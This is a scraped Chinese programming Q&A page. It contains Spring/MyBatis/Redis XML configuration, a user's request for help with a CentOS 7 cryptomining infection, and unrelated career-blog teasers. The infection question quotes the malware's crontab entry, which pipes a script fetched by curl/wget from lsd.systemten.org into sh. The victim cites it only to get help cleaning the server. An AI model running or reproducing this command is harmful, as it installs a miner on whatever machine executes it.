<mvc:mapping path="/uploadFile"/> <mvc:mapping path="/uploadCenter"/> <mvc:mapping path="/onTheShelves"/> <mvc:mapping path="/updateTheRecommended"/> <mvc:mapping path="/deleteByGoods"/> <mvc:mapping path="/restoreGoods"/> <mvc:mapping path="/goods/goodslist"/> <mvc:mapping path="/goods/hasBeenOn"/> <mvc:mapping path="/goods/NotOn"/> <mvc:mapping path="/goods/RecycleBin"/> <mvc:mapping path="/goods/searchName"/> <mvc:mapping path="/goods/goodsdiy"/> <mvc:mapping path="/upload/uploadFile"/> <mvc:mapping path="/CreateClassImg"/> <mvc:mapping path="/imglist"/> <mvc:mapping path="/up_img"/> <mvc:mapping path="/moveImg"/> <mvc:mapping path="/deleteImg"/> <mvc:mapping path="/template/templateURL"/> <mvc:mapping path="/template/templateParentAll"/> <mvc:mapping path="/template/templatAll"/> <mvc:mapping path="/template/changeT"/> <mvc:mapping path="/template/deleteT"/> <mvc:mapping path="/TemplateMsg/addTemplateMsg"/> <mvc:mapping path="/TemplateMsg/templateMsgList"/> <mvc:mapping path="/TemplateMsg/templateSendlist"/> <mvc:mapping path="/TemplateMsg/TemplateSendMsg"/> <mvc:mapping path="/TemplateMsg/updataPTID"/> <mvc:mapping path="/TemplateMsg/deleteMB"/> <mvc:mapping path="/ThirdData/getdata"/> <mvc:mapping path="/ThirdData/updata"/> <mvc:mapping path="/setMoney/setMoneyList"/> <mvc:mapping path="/setMoney/setArriveMoney"/> <mvc:mapping path="/setMoney/checkfileCert"/> <mvc:mapping path="/setMoney/SetMoneyType"/> <mvc:mapping path="/user/userlists"/> <mvc:mapping path="/user/uOpenId"/> <mvc:mapping path="/visitor/theAlmostMoon"/> <mvc:mapping path="/visitor/SixAlmostMoon"/> <mvc:mapping path="/visitor/tops"/> <mvc:mapping path="/weixin/REFUND"/> <bean class="com.bls.mp.interceptor.AuthInterceptor"></bean> </mvc:interceptor> </mvc:interceptors> <task:annotation-driven/> <!-- 配置访问静态文件 --> <mvc:default-servlet-handler/> <mvc:resources location="/images/" mapping="/images/**"/> <mvc:resources location="/WEB-INF/js/" mapping="/js/**"/> <mvc:resources location="/WEB-INF/resources/jsp/" mapping="/jsp/**"/> <mvc:resources location="/WEB-INF/resources/css/" mapping="/css/**"/> </beans> ``` 这是 web.xml ``` ==============web.xml===================== <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" version="3.0"> <display-name>Archetype Created Web Application</display-name> <context-param> <param-name>contextConfigLocation</param-name> <param-value>classpath:spring-mybatis.xml</param-value> <param-value>classpath:spring-redis.xml</param-value> </context-param> <filter> <filter-name>encodingFilter</filter-name> <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class> <async-supported>true</async-supported> <init-param> <param-name>encoding</param-name> <param-value>UTF-8</param-value> </init-param> </filter> <filter-mapping> <filter-name>encodingFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <filter> <filter-name>CORSFilter</filter-name> <filter-class>com.bls.mp.common.MyFilter</filter-class> <init-param> <param-name>excludedPages</param-name> <param-value>/UserAuthServlet</param-value> </init-param> </filter> <filter-mapping> <filter-name>CORSFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener> <listener> <listener-class>org.springframework.web.util.IntrospectorCleanupListener</listener-class> </listener> <servlet> <servlet-name>SpringMVC</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>classpath:spring-mvc.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> <async-supported>true</async-supported> </servlet> <servlet-mapping> <servlet-name>SpringMVC</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <welcome-file-list> <welcome-file>/index.jsp</welcome-file> </welcome-file-list> </web-app> ``` 这是spring-mybatis.xml 配置 ``` ==============spring-mybatis.xml===================== <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xmlns:context="http://www.springframework.org/schema/context" xmlns:mvc="http://www.springframework.org/schema/mvc" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc-4.0.xsd"> <!-- 自动扫描 --> <context:component-scan base-package="com.bls.mp"/> <!-- 引入配置文件 --> <bean id="propertyConfigurer" class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer"> <property name="location" value="classpath:jdbc.properties" /> </bean> <bean id="dataSource" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close"> <property name="driverClassName" value="${jdbc.driver}" /> <property name="url" value="${jdbc.url}" /> <property name="username" value="${jdbc.username}" /> <property name="password" value="${jdbc.password}" /> <!-- 初始化连接大小 --> <property name="initialSize" value="${initialSize}"></property> <!-- 连接池最大数量 --> <property name="maxActive" value="${maxActive}"></property> <!-- 连接池最大空闲 --> <property name="maxIdle" value="${maxIdle}"></property> <!-- 连接池最小空闲 --> <property name="minIdle" value="${minIdle}"></property> <!-- 获取连接最大等待时间 --> <property name="maxWait" value="${maxWait}"></property> </bean> <!-- spring和MyBatis完美整合,不需要mybatis的配置映射文件 --> <bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean"> <property name="dataSource" ref="dataSource" /> <!-- 自动扫描mapping.xml文件 --> <property name="mapperLocations" value="classpath:com/bls/mp/mapping/*.xml"></property> </bean> <!-- DAO接口所在包名,Spring会自动查找其下的类 --> <bean class="org.mybatis.spring.mapper.MapperScannerConfigurer"> <property name="basePackage" value="com.bls.mp.dao" /> <property name="sqlSessionFactoryBeanName" value="sqlSessionFactory"></property> </bean> <!-- (事务管理)transaction manager, use JtaTransactionManager for global tx --> <bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager"> <property name="dataSource" ref="dataSource" /> </bean> </beans> ``` 这是spring-redis.xml配置 ``` ===================spring-redis.xml============== <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd"> <context:property-placeholder location="classpath:*.properties"/> <!--设置数据池--> <bean id="poolConfig" class="redis.clients.jedis.JedisPoolConfig"> <property name="maxIdle" value="${redis.maxIdle}"></property> <property name="minIdle" value="${redis.minIdle}"></property> <property name="maxTotal" value="${redis.maxTotal}"></property> <property name="maxWaitMillis" value="${redis.maxWaitMillis}"></property> <property name="testOnBorrow" value="${redis.testOnBorrow}"></property> </bean> <!--链接redis--> <bean id="connectionFactory" class="org.springframework.data.redis.connection.jedis.JedisConnectionFactory"> <property name="hostName" value="${redis.host}"></property> <property name="port" value="${redis.port}"></property> <property name="password" value="${redis.password}"></property> <property name="timeout" value="${redis.timeout}"></property> <property name="poolConfig" ref="poolConfig"></property> </bean> <bean id="redisTemplate" class="org.springframework.data.redis.core.RedisTemplate" p:connection-factory-ref="connectionFactory" > <!--以下针对各种数据进行序列化方式的选择--> <property name="keySerializer"> <bean class="org.springframework.data.redis.serializer.StringRedisSerializer" /> </property> <property name="valueSerializer"> <bean class="org.springframework.data.redis.serializer.StringRedisSerializer" /> </property> <property name="hashKeySerializer"> <bean class="org.springframework.data.redis.serializer.StringRedisSerializer" /> </property> <!--<property name="hashValueSerializer"> <bean class="org.springframework.data.redis.serializer.StringRedisSerializer" /> </property>--> </bean> </beans> ```

centos7 中毒挖矿木马,找不到进程找不到脚本位置,求帮忙~

1. top无占用大量CPU的进程,内存正常。 2. 目前只有crontab相关文件里面存在脚本命令(如/var/spool/cron/root; /var/spool/cron/crontabs/root; /etc/crontab; /etc/cron.d/root; /etc/bashrc ) # */30 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh 3. crontab -l 查看有个定时任务,删不掉,2中的文件无法删除,即使删除也会再次生成。 # (*/15 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh) 4. 按照定时任务crul网址打开的是个脚本: ![图片说明](https://img-ask.csdn.net/upload/201911/25/1574649645_275695.png) 6. 发现病毒文件/usr/bin/b1e06d5d739eeb,不知是什么文件,打开乱码,即使删除也会再次生成。 7. 开机自启项有sshservice文件,改文件有配置指向/usr/bin/b1e06d5d739eeb ![图片说明](https://img-ask.csdn.net/upload/201911/25/1574649980_449868.png) 8. 亡羊补牢,目前已经关闭redis,做了端口和IP限制,改了ssh端口和密码,停用了curl和wget命令,伪造假文件/usr/bin/b1e06d5d739eeb(伪造的文件一直为空),但是一直找不到该病毒的进程和脚本位置,希望大佬们帮忙分析~

在中国程序员是青春饭吗?

今年,我也32了 ,为了不给大家误导,咨询了猎头、圈内好友,以及年过35岁的几位老程序员……舍了老脸去揭人家伤疤……希望能给大家以帮助,记得帮我点赞哦。 目录: 你以为的人生 一次又一次的伤害 猎头界的真相 如何应对互联网行业的「中年危机」 一、你以为的人生 刚入行时,拿着傲人的工资,想着好好干,以为我们的人生是这样的: 等真到了那一天,你会发现,你的人生很可能是这样的: ...

再不跳槽,应届毕业生拿的都比我多了!

跳槽几乎是每个人职业生涯的一部分,很多HR说“三年两跳”已经是一个跳槽频繁与否的阈值了,可为什么市面上有很多程序员不到一年就跳槽呢?他们不担心影响履历吗? PayScale之前发布的**《员工最短任期公司排行榜》中,两家码农大厂Amazon和Google**,以1年和1.1年的员工任期中位数分列第二、第四名。 PayScale:员工最短任期公司排行榜 意外的是,任期中位数极小的这两家公司,薪资...

我以为我学懂了数据结构,直到看了这个导图才发现,我错了

数据结构与算法思维导图

数据库——玩转SQL语句(以MySQL为例)

一、前言 照着大学的SQL server来学

技术大佬:我去,你写的 switch 语句也太老土了吧

昨天早上通过远程的方式 review 了两名新来同事的代码,大部分代码都写得很漂亮,严谨的同时注释也很到位,这令我非常满意。但当我看到他们当中有一个人写的 switch 语句时,还是忍不住破口大骂:“我擦,小王,你丫写的 switch 语句也太老土了吧!” 来看看小王写的代码吧,看完不要骂我装逼啊。 private static String createPlayer(PlayerTypes p...

华为初面+综合面试(Java技术面)附上面试题

华为面试整体流程大致分为笔试,性格测试,面试,综合面试,回学校等结果。笔试来说,华为的难度较中等,选择题难度和网易腾讯差不多。最后的代码题,相比下来就简单很多,一共3道题目,前2题很容易就AC,题目已经记不太清楚,不过难度确实不大。最后一题最后提交的代码过了75%的样例,一直没有发现剩下的25%可能存在什么坑。 笔试部分太久远,我就不怎么回忆了。直接将面试。 面试 如果说腾讯的面试是挥金如土...

和黑客斗争的 6 天!

互联网公司工作,很难避免不和黑客们打交道,我呆过的两家互联网公司,几乎每月每天每分钟都有黑客在公司网站上扫描。有的是寻找 Sql 注入的缺口,有的是寻找线上服务器可能存在的漏洞,大部分都...

讲一个程序员如何副业月赚三万的真实故事

loonggg读完需要3分钟速读仅需 1 分钟大家好,我是你们的校长。我之前讲过,这年头,只要肯动脑,肯行动,程序员凭借自己的技术,赚钱的方式还是有很多种的。仅仅靠在公司出卖自己的劳动时...

上班一个月,后悔当初着急入职的选择了

最近有个老铁,告诉我说,上班一个月,后悔当初着急入职现在公司了。他之前在美图做手机研发,今年美图那边今年也有一波组织优化调整,他是其中一个,在协商离职后,当时捉急找工作上班,因为有房贷供着,不能没有收入来源。所以匆忙选了一家公司,实际上是一个大型外包公司,主要派遣给其他手机厂商做外包项目。**当时承诺待遇还不错,所以就立马入职去上班了。但是后面入职后,发现薪酬待遇这块并不是HR所说那样,那个HR自...

总结了 150 余个神奇网站,你不来瞅瞅吗?

原博客再更新,可能就没了,之后将持续更新本篇博客。

副业收入是我做程序媛的3倍,工作外的B面人生是怎样的?

提到“程序员”,多数人脑海里首先想到的大约是:为人木讷、薪水超高、工作枯燥…… 然而,当离开工作岗位,撕去层层标签,脱下“程序员”这身外套,有的人生动又有趣,马上展现出了完全不同的A/B面人生! 不论是简单的爱好,还是正经的副业,他们都干得同样出色。偶尔,还能和程序员的特质结合,产生奇妙的“化学反应”。 @Charlotte:平日素颜示人,周末美妆博主 大家都以为程序媛也个个不修边幅,但我们也许...

MySQL数据库面试题(2020最新版)

文章目录数据库基础知识为什么要使用数据库什么是SQL?什么是MySQL?数据库三大范式是什么mysql有关权限的表都有哪几个MySQL的binlog有有几种录入格式?分别有什么区别?数据类型mysql有哪些数据类型引擎MySQL存储引擎MyISAM与InnoDB区别MyISAM索引与InnoDB索引的区别?InnoDB引擎的4大特性存储引擎选择索引什么是索引?索引有哪些优缺点?索引使用场景(重点)...

如果你是老板,你会不会踢了这样的员工?

有个好朋友ZS,是技术总监,昨天问我:“有一个老下属,跟了我很多年,做事勤勤恳恳,主动性也很好。但随着公司的发展,他的进步速度,跟不上团队的步伐了,有点...

我入职阿里后,才知道原来简历这么写

私下里,有不少读者问我:“二哥,如何才能写出一份专业的技术简历呢?我总感觉自己写的简历太烂了,所以投了无数份,都石沉大海了。”说实话,我自己好多年没有写过简历了,但我认识的一个同行,他在阿里,给我说了一些他当年写简历的方法论,我感觉太牛逼了,实在是忍不住,就分享了出来,希望能够帮助到你。 01、简历的本质 作为简历的撰写者,你必须要搞清楚一点,简历的本质是什么,它就是为了来销售你的价值主张的。往深...

程序员写出这样的代码,能不挨骂吗?

当你换槽填坑时,面对一个新的环境。能够快速熟练,上手实现业务需求是关键。但是,哪些因素会影响你快速上手呢?是原有代码写的不够好?还是注释写的不够好?昨夜...

离职半年了,老东家又发 offer,回不回?

有小伙伴问松哥这个问题,他在上海某公司,在离职了几个月后,前公司的领导联系到他,希望他能够返聘回去,他很纠结要不要回去? 俗话说好马不吃回头草,但是这个小伙伴既然感到纠结了,我觉得至少说明了两个问题:1.曾经的公司还不错;2.现在的日子也不是很如意。否则应该就不会纠结了。 老实说,松哥之前也有过类似的经历,今天就来和小伙伴们聊聊回头草到底吃不吃。 首先一个基本观点,就是离职了也没必要和老东家弄的苦...

HTTP与HTTPS的区别

面试官问HTTP与HTTPS的区别,我这样回答让他竖起大拇指!

程序员毕业去大公司好还是小公司好?

虽然大公司并不是人人都能进,但我仍建议还未毕业的同学,尽力地通过校招向大公司挤,但凡挤进去,你这一生会容易很多。 大公司哪里好?没能进大公司怎么办?答案都在这里了,记得帮我点赞哦。 目录: 技术氛围 内部晋升与跳槽 啥也没学会,公司倒闭了? 不同的人脉圈,注定会有不同的结果 没能去大厂怎么办? 一、技术氛围 纵观整个程序员技术领域,哪个在行业有所名气的大牛,不是在大厂? 而且众所...

程序员为什么千万不要瞎努力?

本文作者用对比非常鲜明的两个开发团队的故事,讲解了敏捷开发之道 —— 如果你的团队缺乏统一标准的环境,那么即使勤劳努力,不仅会极其耗时而且成果甚微,使用...

为什么程序员做外包会被瞧不起?

二哥,有个事想询问下您的意见,您觉得应届生值得去外包吗?公司虽然挺大的,中xx,但待遇感觉挺低,马上要报到,挺纠结的。

当HR压你价,说你只值7K,你该怎么回答?

当HR压你价,说你只值7K时,你可以流畅地回答,记住,是流畅,不能犹豫。 礼貌地说:“7K是吗?了解了。嗯~其实我对贵司的面试官印象很好。只不过,现在我的手头上已经有一份11K的offer。来面试,主要也是自己对贵司挺有兴趣的,所以过来看看……”(未完) 这段话主要是陪HR互诈的同时,从公司兴趣,公司职员印象上,都给予对方正面的肯定,既能提升HR的好感度,又能让谈判气氛融洽,为后面的发挥留足空间。...

面试阿里p7,被按在地上摩擦,鬼知道我经历了什么?

面试阿里p7被问到的问题(当时我只知道第一个):@Conditional是做什么的?@Conditional多个条件是什么逻辑关系?条件判断在什么时候执...

终于懂了TCP和UDP协议区别

终于懂了TCP和UDP协议区别

无代码时代来临,程序员如何保住饭碗?

编程语言层出不穷,从最初的机器语言到如今2500种以上的高级语言,程序员们大呼“学到头秃”。程序员一边面临编程语言不断推陈出新,一边面临由于许多代码已存在,程序员编写新应用程序时存在重复“搬砖”的现象。 无代码/低代码编程应运而生。无代码/低代码是一种创建应用的方法,它可以让开发者使用最少的编码知识来快速开发应用程序。开发者通过图形界面中,可视化建模来组装和配置应用程序。这样一来,开发者直...

面试了一个 31 岁程序员,让我有所触动,30岁以上的程序员该何去何从?

最近面试了一个31岁8年经验的程序猿,让我有点感慨,大龄程序猿该何去何从。

大三实习生,字节跳动面经分享,已拿Offer

说实话,自己的算法,我一个不会,太难了吧

程序员垃圾简历长什么样?

已经连续五年参加大厂校招、社招的技术面试工作,简历看的不下于万份 这篇文章会用实例告诉你,什么是差的程序员简历! 疫情快要结束了,各个公司也都开始春招了,作为即将红遍大江南北的新晋UP主,那当然要为小伙伴们做点事(手动狗头)。 就在公众号里公开征简历,义务帮大家看,并一一点评。《启舰:春招在即,义务帮大家看看简历吧》 一石激起千层浪,三天收到两百多封简历。 花光了两个星期的所有空闲时...

《Oracle Java SE编程自学与面试指南》最佳学习路线图(2020最新版)

01、Java入门(Getting Started);02、集成开发环境(IDE);03、项目结构(Eclipse JavaProject);04、类和对象(Classes and Objects);05:词法结构(Lexical Structure);06:数据类型和变量(Data Type and Variables);07:运算符(Operators);08:控制流程语句(Control Flow Statements);

Java岗开发3年,公司临时抽查算法,离职后这几题我记一辈子

前几天我们公司做了一件蠢事,非常非常愚蠢的事情。我原以为从学校出来之后,除了找工作有测试外,不会有任何与考试有关的事儿。 但是,天有不测风云,公司技术总监、人事总监两位大佬突然降临到我们事业线,叫上我老大,给我们组织了一场别开生面的“考试”。 那是一个风和日丽的下午,我翘着二郎腿,左手端着一杯卡布奇诺,右手抓着我的罗技鼠标,滚动着轮轴,穿梭在头条热点之间。 “淡黄的长裙~蓬松的头发...

大牛都会用的IDEA调试技巧!!!

导读 前天面试了一个985高校的实习生,问了他平时用什么开发工具,他想也没想的说IDEA,于是我抛砖引玉的问了一下IDEA的调试用过吧,你说说怎么设置断点...

面试官:你连SSO都不懂,就别来面试了

大厂竟然要考我SSO,卧槽。

终于,月薪过5万了!

来看几个问题想不想月薪超过5万?想不想进入公司架构组?想不想成为项目组的负责人?想不想成为spring的高手,超越99%的对手?那么本文内容是你必须要掌握的。本文主要详解bean的生命...

我说我懂多线程,面试官立马给我发了offer

不小心拿了几个offer,有点烦

自从喜欢上了B站这12个UP主,我越来越觉得自己是个废柴了!

不怕告诉你,我自从喜欢上了这12个UP主,哔哩哔哩成为了我手机上最耗电的软件,几乎每天都会看,可是吧,看的越多,我就越觉得自己是个废柴,唉,老天不公啊,不信你看看…… 间接性踌躇满志,持续性混吃等死,都是因为你们……但是,自己的学习力在慢慢变强,这是不容忽视的,推荐给你们! 都说B站是个宝,可是有人不会挖啊,没事,今天咱挖好的送你一箩筐,首先啊,我在B站上最喜欢看这个家伙的视频了,为啥 ,咱撇...

立即提问
相关内容推荐